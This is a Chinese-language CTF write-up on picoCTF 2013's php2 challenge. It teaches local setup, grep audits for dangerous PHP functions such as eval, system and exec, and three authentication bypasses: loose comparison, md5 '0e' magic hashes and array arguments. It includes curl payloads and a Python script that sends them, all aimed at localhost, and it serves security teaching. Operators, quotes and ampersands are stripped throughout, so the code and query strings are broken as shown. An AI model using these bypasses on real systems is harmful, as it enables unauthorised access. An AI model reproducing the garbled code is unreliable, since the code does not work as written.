简介PICO CTF 2013 php2 是一份围绕CTF挑战赛展开的PHP安全学习资源面向CTF新手、安全竞赛备赛选手以及希望提升Web代码审计能力的开发者。资源完整收录PICO CTF 2013中php2赛题的题目环境与源码重点训练通过静态阅读PHP代码发现漏洞的能力。压缩包共4个文件PHP源码与题目页面便于直接分析MP4录屏完整演示漏洞发现到Payload构造的解题过程PPT讲解梳理PHP常见漏洞类型DOCX笔记则整理了关键代码段、利用条件与加固建议。整体约18.85MB已有159人学习下载。学习后可系统理解SQL注入、XSS、文件包含等漏洞的成因、检测方法和修复要点也能借此熟悉CTF解题的思考路径与工具使用适合用于赛前突击和赛后复盘。1. PICO CTF 2013 php2 是什么一道把“PHP 弱比较绕过”讲透的入门题CTF 入门第一年最容易碰到的题目类型就是像 PICO CTF 2013 php2 这种打包成 .rar 的 PHP 源码审计题。它不考你多复杂的利用链而是把一个容易被忽略的 PHP 比较逻辑做成关卡你向页面传参数它拿参数跟固定值比比过了就吐 flag。这类题真正的价值是逼你把“”和“”的区别、数组与字符串比较的边界、URL 参数传递的槽点一次看透。适合刚开始刷 php 方向、准备做 ctf web 解题找 flag 的 ctf 入门玩家也适合想在内部演练里给同事出题的人。你只需要一个本地 PHP 环境就能把这道题的思路完整复现出来。标题里的 php2 说明它是系列里的第二关通常第一关教你怎么读源码第二关开始出现第一个真正的“绕过点”。下面我按自己拿到这类压缩包后的处理顺序把环境、审计、绕过和坑一次讲完。2. 拿到 php2.rar 之前搭一个最小可复现的 PHP 审计环境静态读源码容易漏尤其是 PHP 的弱比较行为不同版本差别很大。我一般先把环境立起来再去看代码。这里说的环境不需要数据库、不需要 nginx一个 PHP 内置服务器和一个解压工具就够。2.1 用 php -S 起本地调试服务只需要一条命令最常见做法是直接在解压目录里起 PHP 内置服务器cd /path/to/php2_src php -S 127.0.0.1:8000-S是 PHP CLI 自带的开发服务器参数127.0.0.1:8000表示只在本机监听 8000 端口。它默认把当前目录当作文档根目录访问http://127.0.0.1:8000/index.php就能跑起来。如果目录里入口文件不叫 index.php得用-t指定根目录或者直接访问完整文件名。先确认本机 PHP 版本这步决定了后面哪些 payload 能用php -v如果你本地没装 PHP用 Docker 拉一个老版本镜像最省事docker run --rm -p 8000:80 -v $PWD:/var/www/html php:7.4-apache这条命令把当前目录挂载到容器里的 Apache 网页根目录访问http://127.0.0.1:8000就等于访问你解压出来的源码。选 7.4 而不是最新版是因为 PICO CTF 2013 那个年代的题目大量依赖 PHP 5/7 的松散比较行为PHP 8 收紧了一部分规则直接上最新版容易把老题跑出“怪病”。起好服务后先 curl 一下页面确认能正常响应curl -i http://127.0.0.1:8000看到 HTTP 200 就说明 PHP 解析正常。如果这一步就 500先别急着审题大概率是源码本身需要特定扩展或者文件编码出了问题。2.2 解压 .rar 的两种命令与文件编码检查Linux 下解压 .rar 优先用unrar没有就退到7zunrar x php2.rar # 或 7z x php2.rarx是解压到当前目录并保留压缩包内目录结构。解压前我习惯先看清单确认里面有哪几个文件避免解压出奇怪路径unrar l php2.rarWindows 下我用 7-Zip 右键解压不太推荐某些国产压缩软件默认的“解压到当前文件夹”碰到压缩包内文件名的编码不兼容时解压出来文件名会乱码连带着 include 路径失效。解压完先做两件事看文件类型、看行长格式file *正常情况下 PHP 源码会显示ASCII text或Unicode text。如果显示ISO-8859或者带with very long lines说明文件可能被改过编码或不是标准 UTF-8。PHP 5 时代很多老代码是中文 GBK 注释浏览器访问时输出乱码但代码逻辑不受影响。真要转回 UTF-8用 iconviconv -f GBK -t UTF-8 index.php index.php.utf8 mv index.php.utf8 index.php注意先备份原文件别直接覆盖。文件编码问题不会影响比较逻辑但会影响你读代码的效率和php -l的解析结果。2.3 审计前的静态圈定grep 找出所有危险行为函数打开 VSCode 之前我先用 grep 把源码里的关键函数全部拉出来。PHP Web 题的高频点无外乎文件包含、命令执行、代码执行、参数接收四类grep -rnE eval|system|exec|passthru|shell_exec|assert|include|require .参数含义-r递归子目录-n输出行号-E启用扩展正则最后的.表示当前目录。如果你是 Windows 且没装 grepVSCode 里按CtrlShiftF搜同样内容也行。这一步的价值不是直接找到漏洞而是判断题目类型。如果搜完发现只有include和require那大概率是文件包含题如果出现eval和assert就奔着代码执行去。对 php2 这类入门题来说入口脚本一般不大几十行到几百行搜完函数还要看参数流向grep -rn \$_GET\|\$_POST\|\$_REQUEST\|\$_COOKIE .这个命令把脚本里所有接收用户输入的位置和行号列出来。审计顺序我习惯从参数接收处开始沿着变量往比较逻辑追。真正需要重点盯的是比较符号和在 PHP 里的语义完全不同一行命令直接看grep -rn \| .grep 输出的每一行就是一道题的“关卡”。有些压缩包会塞一堆无用的 css、txt 文件干扰视线静态圈定能把审计范围压缩到几个文件、几行代码里。3. 解压 php2.rar 以后先干什么三个入口按顺序过拿到压缩包后不要急着抓包先把源码当黑匣子拆。我的顺序是先看目录结构猜题目类型再列参数接收点最后把判定条件单独抄出来研究。三步走完题目考什么基本就清楚了。3.1 入口一目录结构与文件清单先猜题目要考什么列出所有文件和大小ls -la find . -type f | sort常见结构是下面几张牌具体文件名因题而异常见文件作用index.php入口脚本接收参数并做判断flag.php定义 flag 变量或直接输出 flagconfig.php配置项、白名单、黑名单readme.txt出题人留下的提示其他图片/文本干扰项或附加信息文件大小是个很灵的指标。flag.php 只有几百字节多半是变量定义文件内容形如$flag ...。入口文件 2~5KB 是正常体量也就几十行判断逻辑。如果入口文件几十 KB说明题目在大量混淆或冗余代码里藏逻辑入门题一般不会这么狠。先看入口脚本开头确认它 include 了谁head -50 index.php看到include flag.php时别直接访问 flag.php 想偷看内容。这种文件通常依赖入口脚本里预先定义的上下文直接访问很可能输出空白或报错。flag.php 只是被加载进来真正决定 flag 给不给你的逻辑在 index.php 里。3.2 入口二超全局变量表追踪每个参数的流向把入口脚本里所有超全局变量按行号拉出来grep -noE \$_(GET|POST|REQUEST|COOKIE)\[[^]]*\] index.php-o只输出匹配的部分-n带行号。结果长这样8:$_GET[pass] 15:$_GET[user]这两行就是“入口参数表”。逐个人工追一下变量流向最后都会汇聚到某个 if 判断里。常见的源码形态是$pass $_GET[pass]; if ($pass $secret) { echo $flag; }这种代码最难的不是找参数而是拿到$secret的值。如果题目里$secret写在别的文件就把所有文件里的变量赋值都 grep 一遍。还有一种容易被忽略的形态是用了$_REQUEST它同时收集 GET、POST 和 Cookie优先级由php.ini里的variables_order决定默认是 GET 先于 POST后到的覆盖先到的。这意味着你要传参时同一个参数名在 GET 和 POST 里各放一次结果可能不一样。参数名本身也有讲究。PHP 会把请求字符串里的点号和空格自动转成下划线比如传a.b1脚本里读的是$_GET[a_b]。如果源码里写的是$_GET[a_b]你直接传a_b当然也行但传a.b也会被 PHP 转成下划线生效。这个特性在后面绕过里能派上用场。3.3 入口三判定点与输出点把“过关条件”单独抄出来判定点就是 if输出点就是 echo 和 include。我一般会把判定逻辑抄到一个独立的本地验证文件里改成带注释的版本?php // 本地验证版把题目判定逻辑抄过来不依赖原文件 $pass $_GET[pass] ?? ; if ($pass 0) { echo flag{local_test}\n; }为什么非要抄出来因为比赛平台上发一次请求有延迟响应里还混着页面模板、告警、干扰信息。判定逻辑抄到本地后你可以把注意力完全放在比较语义上用一行 curl 就能验证这个分支会不会进。等本地验证通了再把同样的参数拼到平台上就行。如果判定逻辑依赖 config.php 里的变量抄的时候顺手把依赖变量一起抄进来用var_dump($secret);打印出来看。注意只在本地副本上这么干别把调试代码提交到平台。输出点附近的文案也有用页面回显“Invalid pass”和“Not this time”两种不同字符串时你就能通过响应内容判断自己卡在了哪个分支这也是一种黑匣子探测。4. 复现 php2 的绕过链路三种打法与可抄 payload把判定逻辑摸清之后剩下的事就是构造参数。下面三种打法覆盖了 php 类 CTF 题里最常见的三类判定写法。遇到新题先对照判定点属于哪一类再决定用哪个 payload不要上来就乱试。4.1 打法一非数字字符串与 0 的弱比较PHP 7 与 PHP 8 差异明显典型判定形态if ($_GET[pass] 0) { echo $flag; }在 PHP 7 及更早版本里abc 0的值是 true。原因是非数字开头的字符串在与整数比较时会被尝试转换成整数abc转换失败后变成 0于是 0 等于 0。直接传passabc就能过。curl http://127.0.0.1:8000/index.php?passabc这招在 PHP 8 里失效。PHP 8 改了字符串与数字比较的规则字符串不是合法数字串时不再做隐式转换而是直接返回 false。各版本行为对比如下PHP 版本abc 0原因PHP 5.xtrue字符串尝试转 int非数字串转成 0PHP 7.xtrue规则同前PHP 8.xfalse非 numeric string 不做数值转换本地想验证自己环境的真实行为跑一段最小代码?php var_dump(abc 0); // PHP 8 输出 falsePHP 7 输出 true var_dump(0e1 0); // true0e1 是合法科学计数法值为 0注意0e1 0在 PHP 8 里仍然是 true因为0e1是合法的数字字符串会被转成数值 0。这个差异提醒我们看到 0的判定先确认目标平台版本。平台版本差一个主号解题思路就可能完全不同。4.2 打法二两个 0e 开头的字符串做 md5 碰撞选串先过 is_numeric典型判定形态if (md5($_GET[a]) md5($_GET[b])) { echo $flag; }原理不是哈希碰撞。当 md5 结果恰好是0e开头的纯数字字符串时它会被当作科学计数法数值为 0。两个不同的原始字符串只要 md5 结果都以0e开头且后续是合法数字它们用比较时都等于数值 0于是相等。curl http://127.0.0.1:8000/index.php?aQNKCDZOb240610708这两个字符串是经典组合。md5(QNKCDZO)的结果以0e830400451993494058024219903391开头md5(240610708)的结果是0e462097431906509019562988736854两边在数值语义下都是 0成立但不成立因为字符串内容本身不同。选串之前先验证一下是不是合法数字串这步能省掉大量无效请求?php foreach ([QNKCDZO, 240610708, s878926199a] as $s) { $m md5($s); echo $s, , $m, , var_export(is_numeric($m), true), \n; }is_numeric返回 true 才代表这个 md5 串在比较时会被当作数字。网上流传的所谓 magic hash 表里有些串虽然以 0e 开头但后续混进了 a-f 之外的形态导致不是合法数字串抄过来直接跑会翻车。这条同样依赖 PHP 的松散比较PHP 8 里两个合法数字串做比较时仍按数值比较所以 0e 打法在 PHP 8 下依然成立。但如果题目把比较符换成了这个打法就失效了需要看下一种。4.3 打法三数组绕过哈希比较严格等于也拦不住典型判定形态if (md5($_GET[a]) md5($_GET[b])) { echo $flag; }严格比较看起来无解但 PHP 7 及更早版本有个经典特性md5()接收数组参数时不会报致命错误而是返回null并抛一个 E_WARNING。两个 null 做严格比较自然相等。curl http://127.0.0.1:8000/index.php?a[]1b[]2a[]1表示提交一个名为 a 的数组PHP 解析后$_GET[a]是array([0] 1)md5 函数收到数组后返回 null。两边都是 nullnull null成立。本地验证代码?php // PHP 7 及以下md5([]) 返回 null 并产生 warning var_dump(md5([]) md5([])); // true这里有个关键前提平台必须是 PHP 7 及以下。PHP 8 里md5([])会直接抛出 TypeError脚本终止页面变成 500flag 不会输出。所以数组绕过不是版本无关的万能打法用之前先确认平台版本。PICO CTF 2013 那个年代的平台就是老 PHP这套在当时属于必会技能。还有一种参数污染形态顺手记一下index.php?passguestpassadminPHP 解析同名参数时取最后一个值。如果中间有一层 WAF 只检查第一个值就可能被绕过。入门题很少考这个但知道它在能帮你理解 PHP 参数解析的顺序模型。5. 避坑php 类 CTF 题目最常翻车的五个点下面几条都是实战里反复出现的现象按“现象 → 原因 → 解决”写。你如果照着做还卡住先来这章对号入座。5.1 现象rar 解压后 PHP 文件乱码、访问直接 500Windows 下用 WinRAR 解压VSCode 打开 index.php 看到中文全乱码浏览器访问直接 500 或输出一堆空白。原因有两个压缩包内文件是 UTF-8 编码被某些解压工具或后续另存操作改成了 GBK/ANSI或者压缩包内文件名用的 GBK解压后文件名乱码导致 include 相对路径失效。解决统一用 7-Zip 解压解压后先file *看编码再用php -l index.php检查语法。php -l是 lint 检查只报解析错误不执行代码。确认是编码问题就用 iconv 转回 UTF-8iconv -f GBK -t UTF-8 index.php index.php.utf8 mv index.php.utf8 index.php改文件前留备份因为有些代码里的中文字符串被转码后会破坏原来的逻辑判断。跑不起来先怀疑环境再怀疑 payload。5.2 现象payload 对着错误参数名打了一整晚抓包看到passabc发送成功页面一直回显 try again怎么改都无效。原因多半是你打的参数名在源码里根本不存在。入口脚本可能用的是$_REQUEST[password]或$_POST[passwd]你却一直在往pass上打或者参数名带点号和空格PHP 已经自动转成下划线。解决先把参数名列出来再逐个参数探测。用一段 bash 循环快速看哪个参数名会有不同回显for key in user pass passwd password id name; do curl -s http://127.0.0.1:8000/index.php?$key1 done哪个参数返回了不同的页面内容哪个就是真入口。这道工序花两分钟能省掉一整晚的无用功。5.3 现象0e 绕过在自己机器上失效开始怀疑人生从网上抄了 md5 0e 碰撞串列表本地怎么打都不出 flag。原因很隐蔽有些串虽然以0e开头但后续不是合法数字串is_numeric返回 false。PHP 里字符串与字符串做比较时只有两边都被识别为合法数字串才会转数值比较只要有一边不是就走字符串比较结果自然不相等。解决拿到的 0e 串先过一遍is_numeric验证。前面 4.2 的验证脚本就是干这个的。不要盲目相信列表列表里混着不能用的情况不少。还要注意 md5 值可能以0e开头但后面出现 a-f 字母这样的串不是纯科学计数法格式直接排除。5.4 现象数组绕过时页面出现告警以为 payload 没生效传a[]1b[]2页面顶部冒出“md5() expects parameter 1 to be string, array given”响应里看不到 flag容易误判为失败。原因是在 PHP 7 里 md5 收到数组返回 null 并产生 E_WARNING但比较逻辑仍然继续执行flag 可能出现在告警文本后面或者被输出缓冲冲掉了。解决本地测试脚本里先关掉告警再判断逻辑是否达成?php error_reporting(0); $a $_GET[a] ?? null; $b $_GET[b] ?? null; if (md5($a) md5($b)) { echo FLAG: local\n; }用 curl 查看响应时也把告警和正文一起看curl -i http://127.0.0.1:8000/index.php?a[]1b[]2 | tail -20PHP 8 环境下数组绕过会变成 TypeError 导致脚本直接终止那是另一回事别和 PHP 7 的告警混在一起。5.5 现象环境玄学PHP 版本差异导致的“平台能过本地不能过”平台一发即中本地复现同样 payload 从头失败或者反过来。原因基本可以锁定在 PHP 版本差异上。PICO CTF 2013 时期的平台是 PHP 5.x弱比较规则宽松本地装了 PHP 8.x规则收紧老 payload 全线失效。解决给本地配一个 PHP 5.6 环境专门复现老题docker run --rm -p 8001:80 -v $PWD:/var/www/html php:5.6-apache挂载同一份源码两个端口分别跑 5.6 和 7.4对比同一 payload 的行为差异。如果老题在 5.6 上跑通、在新版上跑不通基本锁定是语言行为差异不是 payload 构造错误。以后遇到类似历史题目先看平台版本再决定用哪套打法这就是吃一堑长一智。6. 进阶把 php2 的套路固化成自己的 PHP 题目自查模板老题的价值不在 flag而在它把 PHP 最常见的几个绕过点浓缩成了一个可复现的样本。下面三个动作能把这次经验沉淀成模板以后遇到新题直接套。6.1 写一个 30 行的本地判定点测试脚本每次遇到 php 题目先把判定逻辑抄进一个独立文件?php // 本地判定点测试脚本把原题 if 抄到下面 error_reporting(0); $a $_GET[a] ?? null; $b $_GET[b] ?? null; // 原题判定示例按实际修改 if (md5($a) md5($b)) { echo FLAG: local\n; } else { echo NO\n; }error_reporting(0)关掉告警避免干扰错误抑制符在 PHP 7 下能挡住 warning但在 PHP 8 下挡不住 TypeError所以脚本必须按目标平台版本运行。这个脚本的唯一职责是验证“给定 payload判定成不成立”完全不碰网络请求。6.2 把三类 payload 整理成 Python 模板遇到新题先跑一遍把 4.1 到 4.3 的 payload 集中到一个 Python 脚本里import requests url http://127.0.0.1:8000/index.php payloads [ {pass: abc}, # 弱比较 0PHP7 {a: QNKCDZO, b: 240610708}, # md5 0e 串 {a[]: 1, b[]: 2}, # 数组绕过PHP7 ] for params in payloads: r requests.get(url, paramsparams, timeout5) print(params, -, r.status_code, r.text[:200].replace(\n, ))requests.get的params参数会按字典自动拼查询串a[]会被正确编码成a%5B%5D1服务端收到的就是数组。跑完一遍看哪个 payload 的响应状态码或前 200 字与其他不同再针对异常分支做人工审计。遇到带 token 或 cookie 的题在脚本里补上headers和cookies即可。6.3 用 Docker 拉两个 PHP 版本做对照避免环境玄学同一份源码在两个 PHP 版本下的比较行为可能完全不同尤其是弱比较和数组传参。用两个容器做对照docker run --rm -d -p 8005:80 -v $PWD:/var/www/html php:5.6-apache docker run --rm -d -p 8007:80 -v $PWD:/var/www/html php:7.4-apache-d后台运行两个端口互不干扰同一份代码在两种环境下的行为可以直接对比。如果老题在 5.6 上跑通、在 7.4 上跑不通基本可以锁定是语言行为差异而不是 payload 写错。我现在的习惯是拿到一个 php 题目压缩包先把判定点抄出来跑版本对照再决定上哪套 payload。这个习惯帮我省掉了大量在平台上反复试探的时间。对 PICO CTF 2013 php2 这种入门题真正值钱的不是那个 flag而是这套“先本地复现、再上平台验证”的流程。希望帮到你。本文还有配套的精品资源点击获取